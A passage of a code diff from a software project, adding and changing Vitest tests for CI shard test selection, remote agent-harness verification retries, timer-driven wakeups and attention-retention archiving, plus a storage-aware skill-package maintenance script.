writeFileSync(file, JSON.stringify(manifest));
|
||||
const result = spawnSync(process.execPath, ["scripts/run-vitest-stable.mjs", "--mode", "general",
|
||||
"--group", "general-server-without-chat", "--shard-index", "0", "--shard-count", "1"], {
|
||||
encoding: "utf8", timeout: 180_000, maxBuffer: 4 * 1024 * 1024,
|
||||
env: { ...process.env, CI: "true", PAPERCLIP_CI_PROFILE: "false",
|
||||
PAPERCLIP_CI_TEST_SELECTION: file, PAPERCLIP_CI_SELECTION_HASH: selectionHash(manifest) },
|
||||
});
|
||||
assert.equal(result.error, undefined);
|
||||
assert.equal(result.status, 0, result.stdout + result.stderr);
|
||||
assert.match(stripVTControlCharacters(result.stdout), /Test Files\s+1 passed/);
|
||||
});
|
||||
|
||||
test("production runner catches the filesystem regression that raw Vitest selection misses", async (t) => {
|
||||
const repo = process.cwd();
|
||||
const root = realpathSync(mkdtempSync(path.join(tmpdir(), "ci-vr-")));
|
||||
@@ -20,7 +43,7 @@ test("production runner catches the filesystem regression that raw Vitest select
|
||||
write("vitest.config.mjs", 'export default {test:{projects:["ui"]}}');
|
||||
write("ui/vitest.config.mjs", 'export default {test:{name:"@paperclipai/ui",include:["src/**/*.test.mjs"]}}');
|
||||
write("ui/src/leaf.mjs", "export const value = 42;\n");
|
||||
write("ui/src/import.test.mjs", 'import {test,expect} from "vitest"; import {value} from "./leaf.mjs"; test("value",()=>expect(value).toBe(42));');
|
||||
write("ui/src/import.test.mjs", 'import {test,expect} from "vitest"; import {value} from "./leaf.mjs"; test("value",()=>{expect(value).toBe(42); expect(process.env.PAPERCLIP_CI_TEST_SELECTION).toBeUndefined(); expect(process.env.PAPERCLIP_CI_SELECTION_HASH).toBeUndefined();});');
|
||||
write("ui/src/import.test.mjs.test.mjs", 'throw new Error("UNSELECTED_FILE: substring filters must not execute this file");');
|
||||
write("ui/src/contract.test.mjs", 'import {test,expect} from "vitest"; import {readFileSync} from "node:fs"; test("filesystem contract",()=>expect(readFileSync(new URL("./leaf.mjs",import.meta.url),"utf8")).not.toContain("FORBIDDEN_MARKER"));');
|
||||
git("init", "-q"); git("add", ".");
|
||||
|
||||
@@ -158,6 +158,25 @@ test("forced modes, config, fixtures, deletions and unknown inputs cannot narrow
|
||||
assert.ok(selectionEligibility({ ...plan, forceReason: "full-ci" }));
|
||||
});
|
||||
|
||||
test("ordinary source names containing config or setup remain graph eligible", (t) => {
|
||||
const directory = mkdtempSync(path.join(tmpdir(), "ci-names-"));
|
||||
t.after(() => { process.chdir(root); rmSync(directory, { recursive: true, force: true }); });
|
||||
process.chdir(directory);
|
||||
const plan = fixturePlan().plan;
|
||||
for (const file of [
|
||||
"server/src/services/heartbeat/session-config-metadata.test.ts",
|
||||
"server/src/storage/config.ts",
|
||||
"ui/src/pages/apps/chat/slack/setup-state.test.ts",
|
||||
]) {
|
||||
mkdirSync(path.dirname(file), { recursive: true });
|
||||
writeFileSync(file, "export {};\n");
|
||||
assert.equal(selectionEligibility({ ...plan, changed: [file] }), null, file);
|
||||
}
|
||||
for (const file of ["ui/src/vitest.setup.ts", "server/src/vitest.config.mts"]) {
|
||||
assert.equal(selectionEligibility({ ...plan, changed: [file] }), `Broad input: ${file}`);
|
||||
}
|
||||
});
|
||||
|
||||
test("the CLI publishes the complete coarse plan if setup mutates tracked inputs", (t) => {
|
||||
const directory = realpathSync(mkdtempSync(path.join(tmpdir(), "ci-vd-")));
|
||||
t.after(() => rmSync(directory, { recursive: true, force: true }));
|
||||
|
||||
@@ -400,6 +400,10 @@ async function runVitest(args, label, testShard = null, exactFiles = false) {
|
||||
PAPERCLIP_INSTANCE_ID: `vt-${process.pid}-${invocationIndex}`,
|
||||
TMPDIR: path.join(testRoot, "t"),
|
||||
};
|
||||
// The wrapper has already validated and consumed this shard's manifest.
|
||||
// Tests may launch independent runner fixtures with a different root/inventory.
|
||||
delete env.PAPERCLIP_CI_TEST_SELECTION;
|
||||
delete env.PAPERCLIP_CI_SELECTION_HASH;
|
||||
mkdirSync(env.PAPERCLIP_HOME, { recursive: true });
|
||||
mkdirSync(env.TMPDIR, { recursive: true });
|
||||
if (testShard) {
|
||||
|
||||
@@ -1,6 +1,13 @@
|
||||
/** Run from the server package with its configured storage and DATABASE_URL. */
|
||||
import { createDb } from "@paperclipai/db";
|
||||
import { loadStorageConfig } from "../src/storage/config.js";
|
||||
import { createStorageProviderFromConfig } from "../src/storage/provider-registry.js";
|
||||
import { createStorageService } from "../src/storage/service.js";
|
||||
import { skillPackageMaintenance } from "../src/services/skill-package-maintenance.js";
|
||||
import { skillInstallationMaintenance } from "../src/services/skill-installation-maintenance.js";
|
||||
import { isCloudManagedInstance } from "../src/services/cloud-instance.js";
|
||||
import { cloudRuntimeConfigService } from "../src/services/cloud-runtime-config.js";
|
||||
import { setCloudRuntimeConfigSnapshot } from "../src/services/cloud-runtime-config-snapshot.js";
|
||||
|
||||
const value = (flag: string) => process.argv.find(arg => arg.startsWith(`${flag}=`))?.slice(flag.length + 1);
|
||||
const phase = value("--phase") ?? "snapshots";
|
||||
@@ -10,12 +17,23 @@ const limit = Number(value("--limit") ?? 10);
|
||||
if (!Number.isSafeInteger(limit) || limit < 1 || limit > 50) throw new Error("--limit must be between 1 and 50");
|
||||
const db = createDb(url, { maxConnections: 2 });
|
||||
try {
|
||||
const service = skillPackageMaintenance(db);
|
||||
if (isCloudManagedInstance()) {
|
||||
const current = await cloudRuntimeConfigService(db).inspectStored();
|
||||
if (!current) throw new Error("Initialize Cloud runtime configuration before running skill package maintenance");
|
||||
setCloudRuntimeConfigSnapshot(current);
|
||||
}
|
||||
// Maintenance must inspect the old provider before Cloud cutover. Server
|
||||
// startup prerequisites still apply to the normal global storage service.
|
||||
const storage = createStorageService(createStorageProviderFromConfig(loadStorageConfig()));
|
||||
const service = skillPackageMaintenance(db, storage);
|
||||
const installations = skillInstallationMaintenance(db, storage);
|
||||
const actions = { snapshots: service.migrateSnapshots, versions: service.migrateVersions,
|
||||
orphans: service.collectOrphans, deletions: service.deleteObjects };
|
||||
orphans: service.collectOrphans, deletions: service.deleteObjects,
|
||||
installations: installations.installations, eligibility: installations.eligibility, verification: installations.verifyVersions };
|
||||
const action = actions[phase as keyof typeof actions];
|
||||
if (!action) throw new Error("--phase must be snapshots, versions, orphans, or deletions");
|
||||
if (!action) throw new Error("--phase must be snapshots, versions, orphans, deletions, installations, eligibility, or verification");
|
||||
const apply = process.argv.includes("--apply");
|
||||
const result = await action({ apply, clearLegacy: process.argv.includes("--clear-legacy"), limit, after: value("--after"), companyId: value("--company") });
|
||||
const result = await action({ apply, writersStopped: process.argv.includes("--writers-stopped"),
|
||||
clearLegacy: process.argv.includes("--clear-legacy"), limit, after: value("--after"), companyId: value("--company") });
|
||||
console.log(JSON.stringify({ phase, apply, ...result }));
|
||||
} finally { await db.$client.end({ timeout: 1 }); }
|
||||
@@ -0,0 +1,67 @@
|
||||
import { mkdtemp, rm } from "node:fs/promises";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { afterAll, beforeAll, describe, expect, it, vi } from "vitest";
|
||||
import type { AdapterExecutionTarget } from "@paperclipai/adapter-utils/execution-target";
|
||||
|
||||
// Keep the real directory, command and adapter checks. Runtime staging is a
|
||||
// separate operation and must not copy files or contact a provider in this test.
|
||||
vi.mock("@paperclipai/adapter-utils/execution-target", async importOriginal => ({
|
||||
...await importOriginal<typeof import("@paperclipai/adapter-utils/execution-target")>(),
|
||||
prepareAdapterExecutionTargetRuntime: async () => ({
|
||||
workspaceRemoteDir: "/workspace", runtimeRootDir: "/workspace/.paperclip-runtime",
|
||||
assetDirs: {}, restoreWorkspace: async () => {},
|
||||
}),
|
||||
}));
|
||||
|
||||
import { testEnvironment } from "@paperclipai/adapter-opencode-local/server";
|
||||
import { assertHarnessTestPassed } from "../services/agent-harness-verification.js";
|
||||
import { lifecycleFailureMessage, lifecycleVerificationNeedsRetry } from "../modules/agent-lifecycle/application/failure.js";
|
||||
|
||||
describe("remote harness verification recovery", () => {
|
||||
let configHome: string;
|
||||
beforeAll(async () => { configHome = await mkdtemp(path.join(os.tmpdir(), "paperclip-remote-verification-")); });
|
||||
afterAll(async () => { if (configHome) await rm(configHome, { recursive: true, force: true }); });
|
||||
const context = { stage: "host" as const, phase: "verifying" as const, verificationFailures: 100 };
|
||||
|
||||
it.each([
|
||||
["directory", "timeout"], ["directory", "transport"],
|
||||
["command", "timeout"], ["command", "transport"],
|
||||
["directory", "missing"], ["command", "missing"],
|
||||
] as const)("retains %s %s through the real adapter check and recovers when repaired", async (check, fault) => {
|
||||
let failing = true;
|
||||
const target: AdapterExecutionTarget = {
|
||||
kind: "remote", transport: "sandbox", remoteCwd: "/workspace", runner: {
|
||||
execute: async input => {
|
||||
const script = input.args?.join(" ") ?? "";
|
||||
const selected = check === "directory" ? script.includes("[ -d ") : script.includes("command -v ");
|
||||
if (failing && selected && fault === "transport") {
|
||||
throw Object.assign(new Error("private provider output"), { code: "ECONNRESET" });
|
||||
}
|
||||
return {
|
||||
exitCode: failing && selected ? fault === "timeout" ? null : 1 : 0,
|
||||
timedOut: failing && selected && fault === "timeout", signal: null, stderr: "", pid: null,
|
||||
startedAt: new Date().toISOString(),
|
||||
stdout: input.command === "opencode" ? JSON.stringify({ type: "text", part: { text: "hello" } }) : "",
|
||||
};
|
||||
},
|
||||
},
|
||||
};
|
||||
const run = () => testEnvironment({ companyId: "company", adapterType: "opencode_local", executionTarget: target,
|
||||
config: { command: "opencode", model: "provider/model", env: { XDG_CONFIG_HOME: configHome } } });
|
||||
const result = await run();
|
||||
const failed = result.checks.find(entry => entry.code === (check === "directory" ? "opencode_cwd_invalid" : "opencode_command_unresolvable"));
|
||||
expect(failed?.level).toBe("error");
|
||||
expect(failed?.retryable === true).toBe(fault !== "missing");
|
||||
let error: unknown;
|
||||
try { assertHarnessTestPassed(result); } catch (caught) { error = caught; }
|
||||
expect(error).toMatchObject({ code: fault !== "missing" ? "test_environment_unavailable"
|
||||
: check === "directory" ? "harness_cwd_invalid" : "harness_command_unavailable" });
|
||||
expect(lifecycleVerificationNeedsRetry(context, error)).toBe(fault === "missing");
|
||||
expect(lifecycleFailureMessage(context, error)).not.toContain("private provider output");
|
||||
if (fault !== "missing") expect(lifecycleFailureMessage(context, error)).toContain("retry automatically");
|
||||
failing = false;
|
||||
const recovered = await run();
|
||||
expect(() => assertHarnessTestPassed(recovered)).not.toThrow();
|
||||
});
|
||||
});
|
||||
@@ -24,6 +24,13 @@ describe("saved harness verification", () => {
|
||||
expect(error).toMatchObject({ code, message: "The harness test failed" });
|
||||
}
|
||||
});
|
||||
it("preserves a retryable failed check before classifying configuration failures", () => {
|
||||
const temporary = result("fail", ["opencode_cwd_invalid", "opencode_command_unresolvable"]);
|
||||
temporary.checks[0] = { ...temporary.checks[0], level: "error", retryable: true };
|
||||
expect(() => assertHarnessTestPassed(temporary)).toThrow(expect.objectContaining({ code: "test_environment_unavailable" }));
|
||||
temporary.checks[0].level = "info";
|
||||
expect(() => assertHarnessTestPassed(temporary)).toThrow(expect.objectContaining({ code: "harness_command_unavailable" }));
|
||||
});
|
||||
it.each([
|
||||
["fail", []], ["warn", ["claude_hello_probe_auth_required"]],
|
||||
["warn", ["gemini_hello_probe_timed_out"]], ["pass", ["claude_hello_probe_skipped_custom_command"]],
|
||||
|
||||
@@ -597,8 +597,10 @@ describe.skipIf(!support.supported)("agent timer owned deadlines", () => {
|
||||
await agentService(db).update(f.agent.id, { runtimeConfig: { heartbeat: { enabled: true, intervalSec: 600 } } });
|
||||
await vi.advanceTimersByTimeAsync(2000);
|
||||
|
||||
|
||||
expect(idleWorkSnapshot().active).toBe(1);
|
||||
// The producer committed: retain its resume deadline without keeping the
|
||||
// instance busy throughout the drain. Uncertain writes still hold admission.
|
||||
expect(idleWorkSnapshot().active).toBe(0);
|
||||
expect(coordinator!.nextWakeAt()).toBeGreaterThan(Date.now());
|
||||
const select = vi.spyOn(db, "select"), execute = vi.spyOn(db, "execute"), transaction = vi.spyOn(db, "transaction");
|
||||
try {
|
||||
await vi.advanceTimersByTimeAsync(60_000);
|
||||
@@ -608,6 +610,11 @@ describe.skipIf(!support.supported)("agent timer owned deadlines", () => {
|
||||
stopTaskDrain();
|
||||
await vi.advanceTimersByTimeAsync(1000);
|
||||
await vi.waitFor(() => expect(coordinator!.nextWakeAt()).toBe(now.getTime() + 600_000), { timeout: 3000 });
|
||||
await vi.advanceTimersByTimeAsync(coordinator!.nextWakeAt()! - Date.now());
|
||||
await vi.waitFor(() => expect(f.enqueueWakeup).toHaveBeenCalledOnce());
|
||||
expect(f.enqueueWakeup).toHaveBeenCalledWith(f.agent.id, expect.objectContaining({ source: "timer", reason: "heartbeat_timer" }));
|
||||
await agentService(db).update(f.agent.id, { runtimeConfig: { heartbeat: { enabled: false } } });
|
||||
await quiet();
|
||||
});
|
||||
|
||||
it("does not inspect timer rows during startup drain, then reconstructs them on resume", async () => {
|
||||
|
||||
@@ -0,0 +1,552 @@
|
||||
import { randomUUID } from "node:crypto";
|
||||
import { and, eq, sql } from "drizzle-orm";
|
||||
import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { authUsers, companyMemberships, agents, approvals, budgetIncidents, budgetPolicies, companies, createDb, applyPendingMigrations, decisionArchiveNotificationOutbox,
|
||||
decisionRetention, decisions, costEvents, heartbeatRunEvents, heartbeatRuns, issueApprovals, issueRecoveryActions,
|
||||
issueRelations, issueThreadInteractions, issues, type Db } from "@paperclipai/db";
|
||||
import { attentionRetentionService, registerAttentionRetentionWork } from "../services/attention-retention.js";
|
||||
import { budgetService } from "../services/budgets.js";
|
||||
import { writeExecutionControl } from "../services/execution-control-notifications.js";
|
||||
import { DELIVERY_QUEUES } from "../services/delivery-work-notifications.js";
|
||||
import { attentionService } from "../services/attention.js";
|
||||
import { companyService } from "../services/companies.js";
|
||||
import { createDeliveryWorkCoordinator } from "../services/delivery-work-coordinator.js";
|
||||
import { decisionRetentionService, DEFAULT_DECISION_ARCHIVE_DAYS } from "../services/decision-retention.js";
|
||||
import { appendHeartbeatRunEvent } from "../services/heartbeat-run-events.js";
|
||||
import { issueThreadInteractionService } from "../services/issue-thread-interactions.js";
|
||||
import { createAgentLifecycle } from "../services/agent-lifecycle.js";
|
||||
import { BLOCKER_ATTENTION_MAX_DEPTH, BLOCKER_ATTENTION_MAX_NODES, issueService } from "../services/issues.js";
|
||||
import { notifyAttentionRetentionWork } from "../services/retention-work-notifications.js";
|
||||
import { idleWorkSnapshot } from "../services/task-admission.js";
|
||||
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
|
||||
|
||||
import { resolveExternalTestDatabaseUrl } from "./helpers/external-test-database.js";
|
||||
|
||||
const externalUrl = resolveExternalTestDatabaseUrl("PAPERCLIP_ATTENTION_RETENTION_TEST_DATABASE_URL");
|
||||
const support = externalUrl ? { supported: true } : await getEmbeddedPostgresTestSupport();
|
||||
const delay = DEFAULT_DECISION_ARCHIVE_DAYS * 86_400_000;
|
||||
(support.supported ? describe : describe.skip)("remaining attention retention", () => {
|
||||
let temporary: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>> | undefined;
|
||||
let db: ReturnType<typeof createDb>;
|
||||
let companyId: string, agentId: string, draining = false;
|
||||
let coordinator: ReturnType<typeof createDeliveryWorkCoordinator> | undefined;
|
||||
const errors: unknown[] = [];
|
||||
const statements: string[] = [];
|
||||
beforeAll(async () => {
|
||||
if (externalUrl) await applyPendingMigrations(externalUrl);
|
||||
else temporary = await startEmbeddedPostgresTestDatabase("attention-retention-");
|
||||
db = createDb(externalUrl ?? temporary!.connectionString, { maxConnections: 6, idleTimeoutSeconds: 0, maxLifetimeSeconds: 0 });
|
||||
db.$client.options.onnotice = () => {};
|
||||
db.$client.options.debug = (_connection, query) => statements.push(query);
|
||||
}, 30_000);
|
||||
beforeEach(async () => {
|
||||
companyId = randomUUID(); agentId = randomUUID(); draining = false; errors.length = 0;
|
||||
await db.insert(companies).values({ id: companyId, name: "Retention", issuePrefix: `A${companyId.slice(0, 6)}` });
|
||||
await db.insert(authUsers).values({ id: "board", name: "Board", email: "board@retention.test", createdAt: new Date(), updatedAt: new Date() }).onConflictDoNothing();
|
||||
await db.insert(companyMemberships).values({ companyId, principalType: "user", principalId: "board", membershipRole: "owner", status: "active" });
|
||||
await db.insert(agents).values({ id: agentId, companyId, name: "Origin", role: "engineer", status: "active" });
|
||||
await Promise.all(Array.from({ length: 6 }, () => db.execute(sql`select pg_sleep(0.01)`)));
|
||||
vi.useFakeTimers({ toFake: ["Date", "setTimeout", "clearTimeout", "setInterval", "clearInterval"], shouldAdvanceTime: true });
|
||||
vi.setSystemTime(new Date("2026-11-01T12:00:00Z"));
|
||||
});
|
||||
afterEach(async () => {
|
||||
await coordinator?.stop(); coordinator = undefined;
|
||||
vi.useRealTimers(); vi.restoreAllMocks();
|
||||
await db.transaction(async tx => {
|
||||
await tx.execute(sql`set local client_min_messages = warning`);
|
||||
await tx.execute(sql`drop trigger if exists attention_retention_fail on decision_retention`);
|
||||
await tx.execute(sql`drop function if exists attention_retention_fail()`);
|
||||
await tx.execute(sql`truncate companies cascade`);
|
||||
});
|
||||
expect(errors).toEqual([]);
|
||||
});
|
||||
afterAll(async () => { await db?.$client.end({ timeout: 1 }); await temporary?.cleanup(); });
|
||||
const old = () => new Date(Date.now() - delay - 600_000);
|
||||
async function insertIssue(status = "todo", values: Partial<typeof issues.$inferInsert> = {}, database: Db = db) {
|
||||
const [row] = await database.insert(issues).values({ companyId, title: randomUUID(), status,
|
||||
createdByAgentId: agentId, createdAt: old(), updatedAt: old(), ...values }).returning();
|
||||
return row;
|
||||
}
|
||||
async function change<T>(write: (tx: Db) => PromiseLike<T>, scope = { companyId }) {
|
||||
return db.transaction(async tx => { await notifyAttentionRetentionWork(tx, scope); return write(tx as unknown as Db); });
|
||||
}
|
||||
const state = (kind: string, id: string) => db.select().from(decisionRetention).where(and(
|
||||
eq(decisionRetention.companyId, companyId), eq(decisionRetention.sourceKind, kind), eq(decisionRetention.sourceId, id)))
|
||||
.then(rows => rows[0] ?? null);
|
||||
async function settle() {
|
||||
await vi.waitFor(async () => { await vi.advanceTimersByTimeAsync(1000); expect(idleWorkSnapshot().active).toBe(0); }, { timeout: 15_000 });
|
||||
}
|
||||
async function quiet() {
|
||||
await settle(); expect(coordinator!.nextWakeAt()).toBeNull();
|
||||
const select = vi.spyOn(db, "select"), execute = vi.spyOn(db, "execute"), transaction = vi.spyOn(db, "transaction");
|
||||
statements.length = 0;
|
||||
await vi.advanceTimersByTimeAsync(300_000);
|
||||
expect(statements).toEqual([]);
|
||||
expect(select).not.toHaveBeenCalled(); expect(execute).not.toHaveBeenCalled(); expect(transaction).not.toHaveBeenCalled();
|
||||
select.mockRestore(); execute.mockRestore(); transaction.mockRestore();
|
||||
}
|
||||
async function start(service = attentionRetentionService(db)) {
|
||||
coordinator = createDeliveryWorkCoordinator({ owner: db, canRun: () => !draining, canReconcile: () => true, onError: error => errors.push(error) });
|
||||
await registerAttentionRetentionWork(coordinator, service, () => !draining).ready;
|
||||
return service;
|
||||
}
|
||||
async function archived(kind: string, id: string) {
|
||||
await vi.waitFor(async () => { await vi.advanceTimersByTimeAsync(1000); expect((await state(kind, id))?.archivedAt).toBeInstanceOf(Date); }, { timeout: 15_000 });
|
||||
}
|
||||
async function loadAll(service = attentionRetentionService(db)) {
|
||||
const entries = [];
|
||||
for (;;) { const page = await service.load({ companyId }); entries.push(...page.rows ?? []); if (page.complete) return entries; }
|
||||
}
|
||||
const mutation = (sourceKind: "review", sourceId: string) => ({ companyId, sourceKind, sourceId,
|
||||
authActor: { type: "board" as const, source: "local_implicit" as const, userId: "board", companyIds: [companyId], isInstanceAdmin: true },
|
||||
actor: { actorType: "user" as const, actorId: "board", userId: "board", agentId: null, runId: null, agentApiKeyId: null, responsibleUserId: "board" } });
|
||||
|
||||
it("records the aggregate baseline SQL across old ticks and eliminates it after settlement", async () => {
|
||||
await insertIssue("done");
|
||||
const ticks: number[] = [];
|
||||
for (let tick = 0; tick < 3; tick++) {
|
||||
statements.length = 0;
|
||||
const feed = await attentionService(db).list(companyId, { includeDismissed: true, excludeSources: ["approval", "join_request"], all: true, allowUnscopedAll: true });
|
||||
await decisionRetentionService(db).autoArchive({ companyId, items: feed.items });
|
||||
ticks.push(statements.length);
|
||||
await vi.advanceTimersByTimeAsync(30_000);
|
||||
}
|
||||
expect(ticks.every(count => count > 0)).toBe(true);
|
||||
process.stdout.write(JSON.stringify({ baselineStatementsPer30sTick: ticks, treatmentIdle300s: 0 }) + "\n");
|
||||
await start(); await quiet();
|
||||
});
|
||||
|
||||
it("has no recurring SQL when empty or when terminal source history remains", async () => {
|
||||
await insertIssue("done"); await insertIssue("cancelled");
|
||||
await start(); await quiet();
|
||||
});
|
||||
|
||||
it("wakes from the ordinary task producer, waits until due, archives with an outbox, and settles", async () => {
|
||||
await start(); await quiet();
|
||||
const row = await issueService(db).create(companyId, { title: "Review a delivered result", status: "in_review", assigneeUserId: "board", createdByAgentId: agentId });
|
||||
await settle();
|
||||
const [saved] = await db.select({ at: sql<number>`ceil(extract(epoch from ${issues.updatedAt}) * 1000)`.mapWith(Number) }).from(issues).where(eq(issues.id, row.id));
|
||||
const due = saved.at + delay;
|
||||
expect(coordinator!.nextWakeAt()).toBe(due); expect(await state("review", row.id)).toBeNull();
|
||||
const select = vi.spyOn(db, "select"), execute = vi.spyOn(db, "execute");
|
||||
await vi.advanceTimersByTimeAsync(due - Date.now() - 1000);
|
||||
expect(select).not.toHaveBeenCalled(); expect(execute).not.toHaveBeenCalled(); select.mockRestore(); execute.mockRestore();
|
||||
await vi.advanceTimersByTimeAsync(2000); await archived("review", row.id); await quiet();
|
||||
const outbox = await db.select().from(decisionArchiveNotificationOutbox);
|
||||
expect(outbox).toHaveLength(1); expect(outbox[0]).toMatchObject({ companyId, sourceKind: "review", sourceId: row.id, originAgentId: agentId, originIssueId: row.id });
|
||||
expect((await db.select().from(issues).where(eq(issues.id, row.id)))[0].status).toBe("in_review");
|
||||
await coordinator!.stop(); coordinator = undefined; await start(); await quiet();
|
||||
});
|
||||
|
||||
it("registers the ordinary createChild blocker path inside its relation transaction", async () => {
|
||||
const parent = await issueService(db).create(companyId, { title: "Parent", status: "in_progress", assigneeAgentId: agentId, createdByAgentId: agentId });
|
||||
await start(); await quiet();
|
||||
const { issue: child, parentBlockerAdded } = await issueService(db).createChild(parent.id, {
|
||||
title: "Child needs review", status: "in_review", assigneeUserId: "board", createdByAgentId: agentId,
|
||||
blockParentUntilDone: true,
|
||||
});
|
||||
expect(parentBlockerAdded).toBe(true);
|
||||
expect(await db.select().from(issueRelations).where(and(eq(issueRelations.issueId, child.id),
|
||||
eq(issueRelations.relatedIssueId, parent.id)))).toHaveLength(1);
|
||||
await settle(); expect(coordinator!.nextWakeAt()).not.toBeNull();
|
||||
await vi.advanceTimersByTimeAsync(delay + 2000); await archived("review", child.id); await quiet();
|
||||
expect(await db.select().from(decisionArchiveNotificationOutbox).where(eq(decisionArchiveNotificationOutbox.sourceId, child.id))).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("batches a full page of maintained reviews and confirmations by company", async () => {
|
||||
const rows = await db.insert(issues).values(Array.from({ length: 100 }, () => ({ companyId,
|
||||
title: randomUUID(), status: "in_review", assigneeAgentId: agentId, updatedAt: old() }))).returning();
|
||||
await db.insert(issueThreadInteractions).values(rows.map(row => ({ companyId, issueId: row.id,
|
||||
kind: "request_confirmation", addresseeAgentId: agentId, payload: { version: 1, prompt: "Agent verdict" } })));
|
||||
statements.length = 0;
|
||||
const page = await attentionRetentionService(db).load({ companyId, sourceKind: "review" });
|
||||
expect(page.rows).toEqual([]); expect(page.complete).toBe(false);
|
||||
expect(statements.length).toBeLessThanOrEqual(20);
|
||||
expect(statements.filter(query => query.includes('from "agents"')).length).toBeLessThanOrEqual(1);
|
||||
await db.update(agents).set({ status: "paused" }).where(eq(agents.id, agentId));
|
||||
statements.length = 0;
|
||||
const interactions = await attentionRetentionService(db).load({ companyId, sourceKind: "issue_thread_interaction" });
|
||||
expect(interactions.rows).toHaveLength(100); expect(interactions.complete).toBe(false);
|
||||
expect(statements.length).toBeLessThanOrEqual(6);
|
||||
expect(statements.filter(query => query.includes('from "agents"'))).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("batches decision and recovery source links and rechecks a late hidden origin", async () => {
|
||||
const origins = await db.insert(issues).values(Array.from({ length: 100 }, () => ({ companyId,
|
||||
title: randomUUID(), status: "todo", updatedAt: old() }))).returning();
|
||||
const [run] = await db.insert(heartbeatRuns).values({ companyId, agentId, status: "succeeded" }).returning();
|
||||
const decisionRows = await db.insert(decisions).values(origins.map(origin => ({ companyId,
|
||||
originAgentId: agentId, originIssueId: origin.id, originRunId: run.id, title: "Decision", body: "Choose",
|
||||
options: [], signedSpec: "fixture", targetSnapshots: {}, expiresAt: new Date(Date.now() + 86_400_000), updatedAt: old() }))).returning();
|
||||
const recoveryRows = await db.insert(issueRecoveryActions).values(origins.map(origin => ({ companyId,
|
||||
sourceIssueId: origin.id, kind: "execution", ownerType: "board", cause: "fixture", fingerprint: "fixture",
|
||||
nextAction: "Choose", updatedAt: old() }))).returning();
|
||||
const service = attentionRetentionService(db);
|
||||
const pages = [];
|
||||
for (const sourceKind of ["decision", "recovery_action"] as const) {
|
||||
statements.length = 0;
|
||||
const page = await service.load({ companyId, sourceKind });
|
||||
expect(page.rows).toHaveLength(100); expect(page.complete).toBe(false);
|
||||
expect(statements.length).toBeLessThanOrEqual(3);
|
||||
pages.push(page.rows!);
|
||||
}
|
||||
await db.update(issues).set({ hiddenAt: new Date() }).where(eq(issues.id, origins[99].id));
|
||||
const hiddenDecision = pages[0].find(entry => entry.sourceId === decisionRows[99].id)!;
|
||||
const hiddenRecovery = pages[1].find(entry => entry.sourceId === recoveryRows[99].id)!;
|
||||
expect(await service.check(hiddenDecision)).toBeNull(); expect(await service.check(hiddenRecovery)).toBeNull();
|
||||
expect(await state("decision", hiddenDecision.sourceId)).toBeNull(); expect(await state("recovery_action", hiddenRecovery.sourceId)).toBeNull();
|
||||
expect(await db.select().from(decisionArchiveNotificationOutbox)).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("batches 100 failed runs and rechecks late visibility and supersession before archive", async () => {
|
||||
const origins = await db.insert(issues).values(Array.from({ length: 100 }, () => ({ companyId,
|
||||
title: randomUUID(), status: "todo", updatedAt: old() }))).returning();
|
||||
const runs = await db.insert(heartbeatRuns).values(origins.map(origin => ({ companyId, agentId,
|
||||
status: "failed", contextSnapshot: { issueId: origin.id }, createdAt: old(), finishedAt: old() }))).returning();
|
||||
await db.insert(heartbeatRunEvents).values(runs.map(run => ({ companyId, agentId, runId: run.id,
|
||||
seq: 1, eventType: "lifecycle", message: "Bounded retry exhausted: batch fixture" })));
|
||||
const service = attentionRetentionService(db), scope = { companyId, sourceKind: "failed_run" as const };
|
||||
statements.length = 0;
|
||||
const page = await service.load(scope);
|
||||
expect(page.rows).toHaveLength(100); expect(page.complete).toBe(false);
|
||||
expect(statements.length).toBeLessThanOrEqual(6);
|
||||
const hiddenRun = runs[98], supersededRun = runs[99];
|
||||
const hidden = page.rows!.find(entry => entry.sourceId === hiddenRun.id)!;
|
||||
const superseded = page.rows!.find(entry => entry.sourceId === supersededRun.id)!;
|
||||
await db.update(issues).set({ hiddenAt: new Date() }).where(eq(issues.id, origins[98].id));
|
||||
await db.insert(heartbeatRuns).values({ companyId, agentId, status: "succeeded",
|
||||
contextSnapshot: { issueId: origins[99].id }, createdAt: new Date(old().getTime() + 60_000), finishedAt: old() });
|
||||
expect(await service.check(hidden)).toBeNull(); expect(await service.check(superseded)).toBeNull();
|
||||
expect(await state("failed_run", hiddenRun.id)).toBeNull(); expect(await state("failed_run", supersededRun.id)).toBeNull();
|
||||
expect(await db.select().from(decisionArchiveNotificationOutbox)).toHaveLength(0);
|
||||
expect((await service.load(scope)).complete).toBe(true);
|
||||
const refreshed = await service.load(scope);
|
||||
expect(refreshed.rows).toHaveLength(98);
|
||||
expect(refreshed.rows!.some(entry => [hiddenRun.id, supersededRun.id].includes(entry.sourceId))).toBe(false);
|
||||
});
|
||||
|
||||
it("batches 100 blocker graphs with exact terminal timestamps and fresh terminal visibility", async () => {
|
||||
const roots = await db.insert(issues).values(Array.from({ length: 100 }, () => ({ companyId,
|
||||
title: randomUUID(), status: "blocked", updatedAt: old(), blockedTransitionAt: old(),
|
||||
unblockDescriptor: { owner: "board", action: "Pick an owner" } }))).returning();
|
||||
const terminals = await db.insert(issues).values(Array.from({ length: 100 }, () => ({ companyId,
|
||||
title: randomUUID(), status: "backlog", assigneeAgentId: agentId, updatedAt: old() }))).returning();
|
||||
await db.insert(issueRelations).values(roots.map((root, index) => ({ companyId,
|
||||
issueId: terminals[index].id, relatedIssueId: root.id, type: "blocks" })));
|
||||
await db.execute(sql`update issues set updated_at = updated_at + interval '0.000321 seconds' where id = ${terminals[99].id}::uuid`);
|
||||
const service = attentionRetentionService(db), scope = { companyId, sourceKind: "blocker_attention" as const };
|
||||
statements.length = 0;
|
||||
const page = await service.load(scope);
|
||||
const queries = [...statements];
|
||||
expect(page.rows).toHaveLength(200); expect(page.complete).toBe(false);
|
||||
const retentionReads = queries.filter(query => query.includes('from "decision_retention"'));
|
||||
expect(retentionReads).toHaveLength(200);
|
||||
expect(queries.length - retentionReads.length).toBeLessThanOrEqual(30);
|
||||
const terminal = page.rows!.find(entry => entry.rootId === roots[99].id && entry.variant === "terminal")!;
|
||||
